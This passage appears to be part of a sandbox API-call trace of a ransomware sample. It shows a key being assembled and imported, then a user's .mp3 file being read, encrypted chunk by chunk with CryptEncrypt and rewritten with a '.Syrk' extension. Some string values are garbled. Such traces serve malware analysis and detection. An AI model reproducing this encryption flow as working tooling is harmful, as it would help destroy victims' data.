(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0236.419] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.419] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0236.419] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0236.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0236.420] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.420] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0236.420] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0236.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0236.420] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.420] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0236.420] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0236.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0236.420] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.421] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0236.421] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.421] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0236.421] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0236.421] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.421] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0236.421] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.421] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0236.421] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0236.421] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0236.422] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0236.422] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0236.422] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0236.422] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0236.422] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0236.422] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0236.422] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0236.422] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0236.422] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0236.422] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0236.422] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0236.422] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0236.423] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0236.423] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0236.423] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0236.423] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0236.423] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0236.423] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0236.423] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0236.423] EtwEventActivityIdControl () returned 0x0 [0236.423] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0236.423] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0236.423] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0236.423] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0236.425] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d100) returned 1 [0236.427] CryptImportKey (in: hProv=0x5c4d100, pbData=0x24dd11c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x3b50a8) returned 1 [0236.427] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.427] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.428] EtwEventActivityIdControl () returned 0x0 [0236.428] EtwEventActivityIdControl () returned 0x0 [0236.428] EtwEventActivityIdControl () returned 0x0 [0236.434] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3")) returned 0x20 [0236.436] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3")) returned 0x20 [0236.436] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0236.436] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", lpFilePart=0x0) returned 0x50 [0236.436] EtwEventActivityIdControl () returned 0x0 [0236.436] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.437] EtwEventActivityIdControl () returned 0x0 [0236.437] EtwEventActivityIdControl () returned 0x0 [0236.437] EtwEventActivityIdControl () returned 0x0 [0236.438] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0236.438] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", lpFilePart=0x0) returned 0x50 [0236.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0236.438] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0236.438] GetFileType (hFile=0x454) returned 0x1 [0236.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0236.438] GetFileType (hFile=0x454) returned 0x1 [0236.438] EtwEventActivityIdControl () returned 0x0 [0236.439] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.439] EtwEventActivityIdControl () returned 0x0 [0236.439] EtwEventActivityIdControl () returned 0x0 [0236.439] EtwEventActivityIdControl () returned 0x0 [0236.440] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0236.440] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3.Syrk", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3.Syrk", lpFilePart=0x0) returned 0x55 [0236.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0236.440] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0236.441] GetFileType (hFile=0x458) returned 0x1 [0236.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0236.441] GetFileType (hFile=0x458) returned 0x1 [0236.441] EtwEventActivityIdControl () returned 0x0 [0236.441] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x24f1c10 | out: pbBuffer=0x24f1c10) returned 1 [0236.442] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.443] CryptDuplicateKey (in: hKey=0x3b50a8, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x3b5128) returned 1 [0236.443] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.443] CryptSetKeyParam (hKey=0x3b5128, dwParam=0x4, pbData=0x24f2f3c*=0x1, dwFlags=0x0) returned 1 [0236.443] CryptSetKeyParam (hKey=0x3b5128, dwParam=0x1, pbData=0x24f2f08, dwFlags=0x0) returned 1 [0236.443] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.443] EtwEventActivityIdControl () returned 0x0 [0236.443] EtwEventActivityIdControl () returned 0x0 [0236.443] EtwEventActivityIdControl () returned 0x0 [0236.444] EtwEventActivityIdControl () returned 0x0 [0236.445] ReadFile (in: hFile=0x454, lpBuffer=0x24f5b84, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24f5b84*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0236.447] CryptEncrypt (in: hKey=0x3b5128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2509b9c*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x2509b9c*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0236.448] WriteFile (in: hFile=0x458, lpBuffer=0x24f1cec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24f1cec*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0236.485] WriteFile (in: hFile=0x458, lpBuffer=0x250ab88*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x250ab88*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0236.488] ReadFile (in: hFile=0x454, lpBuffer=0x24f5b84, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24f5b84*, lpNumberOfBytesRead=0x5a2e7d8*=0x898, lpOverlapped=0x0) returned 1 [0236.489] CryptEncrypt (in: hKey=0x3b5128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x251dba8*, pdwDataLen=0x5a2e7cc*=0x890, dwBufLen=0x890 | out: pbData=0x251dba8*, pdwDataLen=0x5a2e7cc*=0x890) returned 1 [0236.489] ReadFile (in: hFile=0x454, lpBuffer=0x24f5b84, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24f5b84*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0236.489] CryptEncrypt (in: hKey=0x3b5128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x251e444*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x251e444*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0236.489] CryptEncrypt (in: hKey=0x3b5128, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x251e460*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x251e460*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0236.489] WriteFile (in: hFile=0x458, lpBuffer=0x24f1cec*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24f1cec*, lpNumberOfBytesWritten=0x5a2e7f8*=0x8a0, lpOverlapped=0x0) returned 1 [0236.489] CloseHandle (hObject=0x458) returned 1 [0236.493] CloseHandle (hObject=0x454) returned 1 [0236.494] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.494] EtwEventActivityIdControl () returned 0x0 [0236.494] EtwEventActivityIdControl () returned 0x0 [0236.494] EtwEventActivityIdControl () returned 0x0 [0236.501] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3")) returned 0x20 [0236.504] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0236.505] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", lpFilePart=0x0) returned 0x50 [0236.505] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0236.506] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0236.506] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0236.506] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0236.506] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0236.506] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0236.506] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0236.506] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0236.506] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0236.507] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0236.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0236.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0236.507] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0236.507] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0236.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0236.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0236.507] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0236.507] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0236.508] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0236.508] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0236.508] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0236.508] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0236.508] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0236.508] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0236.508] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0236.508] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0236.508] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0236.508] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", lpFilePart=0x0) returned 0x3b [0236.508] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\sb2jvq1jz7zixzf4.mp3")) returned 0x20 [0236.509] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0236.509] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", lpFilePart=0x0) returned 0x50 [0236.516] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0236.516] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\SB2jVQ1jZ7ziXzf4.mp3", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: 